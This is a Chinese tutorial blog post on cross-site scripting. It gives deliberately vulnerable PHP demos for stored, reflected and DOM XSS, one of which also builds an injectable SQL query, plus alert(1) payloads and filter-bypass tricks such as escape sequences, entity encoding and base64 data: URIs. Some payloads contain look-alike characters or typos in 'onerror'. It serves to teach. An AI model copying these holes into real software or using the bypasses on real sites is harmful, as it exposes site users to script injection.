xss简单的利用与分析

xss博大精深,小菜只是班门弄斧,小小的总结了一下最近看过的一下文章


xss 有三种,第一种是存储型,第二种是反射性,第三种是DOM型

先说第一种吧,存储型的
demo:
<html>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<form type="text" name="test" action="yi.php" method=post>
	<textarea name="cont"></textarea>
	</br>
	<input type="submit" name="submitup" value="提交" />
</form>
<?php 
	$dbuser = "root";
	$dbpwd = "";   //输入你自己的mysql的密码
	$db = "test";
	$conn = mysql_connect("localhost",$dbuser,$dbpwd) or die("error");
	mysql_select_db($db,$conn);

	if(isset($_POST['submitup']))
	{
		$cont=$_POST["cont"];
		$query = "insert into content(content) values (\"$cont\")";
		$result = mysql_query($query) or die (mysql_error());
		if($result)
			echo "<script>alert(\"success\")</script>";
	}

	$list = "select * from content ";
	$getlist = mysql_query($list) or die (mysql_error());
	while ($re = mysql_fetch_array($getlist))
	{
		echo "<span>$re[1]</span></br>";
	}


?>



数据库就两个字段,一个是id,一个content,表名是content

这里完全没有任何注入,然后你在textarea里面输入<script>alert(1)</script>然后提交就会发现弹框啦(但是不要chrome来打开,因为chrome自身的防御机制,它不允许这些脚本弹出来的,用火狐,IE都行!
效果图

代码中也可以直接查看到!!
存储型是存取在数据库中的,然后每次查询会从中提取出来,然后html解释器就会解释这些脚本,而他的攻击威力也是最强的,因为他只需要对方浏览了这个界面就可以实施工具啦



第二种反射型
反射型,就是需要你构造好payload,让对方去打开(一般都需要的,但是某些情况下也不一定的)
demo:
<?php
	$id=$_GET["sid"];
	echo "<span>$id</span>";
?>



但我们提交http://127.0.0.1/yi.php?sid=1,页面会显示1,但是如果我们提交http://127.0.0.1/yi.php?sid=1<script>alert(1)</script>
此时源代码就会变成<span>1<script>alert(1)</script></span>
然后就会顺利弹框啦。。

第三种DOM型
这种类型就是通过js输出的例如location document.write(ln)

document.referrer innerHTML =

window.name outterHTML =

ajax response 写window.location 操作

jsonp 写javascript: (伪协议后内容的自定义)

form下的inputs框 eval、setTimeout 、setInterval 等直接执行函数,就是说有些值是通过这些函数来显示到页面上,而不是直接显示的,相当于由JS执行了一遍才显示出来的!具体的,大家可以去看一下《Web前端黑客技术揭秘》,这里只是说明一下而已给个demo让你看一下
demo:
<?php
	$id=$_GET["sid"];
?>
<html>
	<p id="xx">123</p>
	<script>
	<?php echo 'document.getElementById("xx").innerHTML="'.$id.'";' ?>
	</script>	
</html>



如果没有innnerHTML那句话,那么网页显示的应该是123,但是你提交了 http://127.0.0.1/yi.php?sid=1,网页就会变成了1,然后这个怎么弹框呢,你可以先构造一下payload,用上面那个试一下,提交 http://127.0.0.1/yi.php?sid=1<script>alert(1)</script>,然后提交,没有弹,页面显示:

查看源代码:

看到了没?代码出现错误啦。。。因为他本身都在<script>标签中,所以不需要在加<.script>l啦,然后在把”给闭合了就行啦
那么payload就是http://127.0.0.1/yi.php?sid=1";alert(1); " 顺利弹框。。。


当然这里顺便说个小提示,本来下面才要提的,但是觉得这里比较好,如果假设这里",<,>都被过滤了,无法闭合呢?
这里就给出其他的方法第一种
1、sid=<img src=1 οnerrοr=alert(1)>(针对没有被过滤<>的)
2、sid=\u003cimg src=1 οnerrοr=alert(1) \u003e(这是过滤了<> 下面的也是>
3、sid=\x3cimg src=1 οnerrοr=alert(1) \x3e
这里\u003c和\x3c都是了<,\u003e和\x3e是>
并且记住了,在innerHTML这些函数中<script>alert(1)</script>是无法触动弹框的,只能用<img src=1 onerrot=alert(1)>来触发

好了大概就是介绍这么多,然后给一下xss时的小tips
1、有时候空格被过滤掉可以用/**/来表示空格
2、js中科院利用实体字符来绕过过滤
例如:<iframe src="jav&#x61;script:alert(1)">
这里javascript被变成jav&#x61;script:alert(1),其实就是a=&#x61; 这个就是实体字符
3、可以通过变换大小写了绕过过滤,例如javascript可以变成JaVASRiptchrome
4、chrome 和 firefox 可以用data伪协议来触发xss
例如:<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
加红的字体就是用base64加密的。。。解密后就是:<script>alert(1)</script>
加密是为了绕过一些特殊字体,但是记住只能在chrome和firefox下用而已
5、可以利用一下on动作了触发xss,例如<img src=1 οnerrοr=alert(1) 这个就是onerror函数来触发的
6、利用html5一些新添加的标签。。。。

over!!!




  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值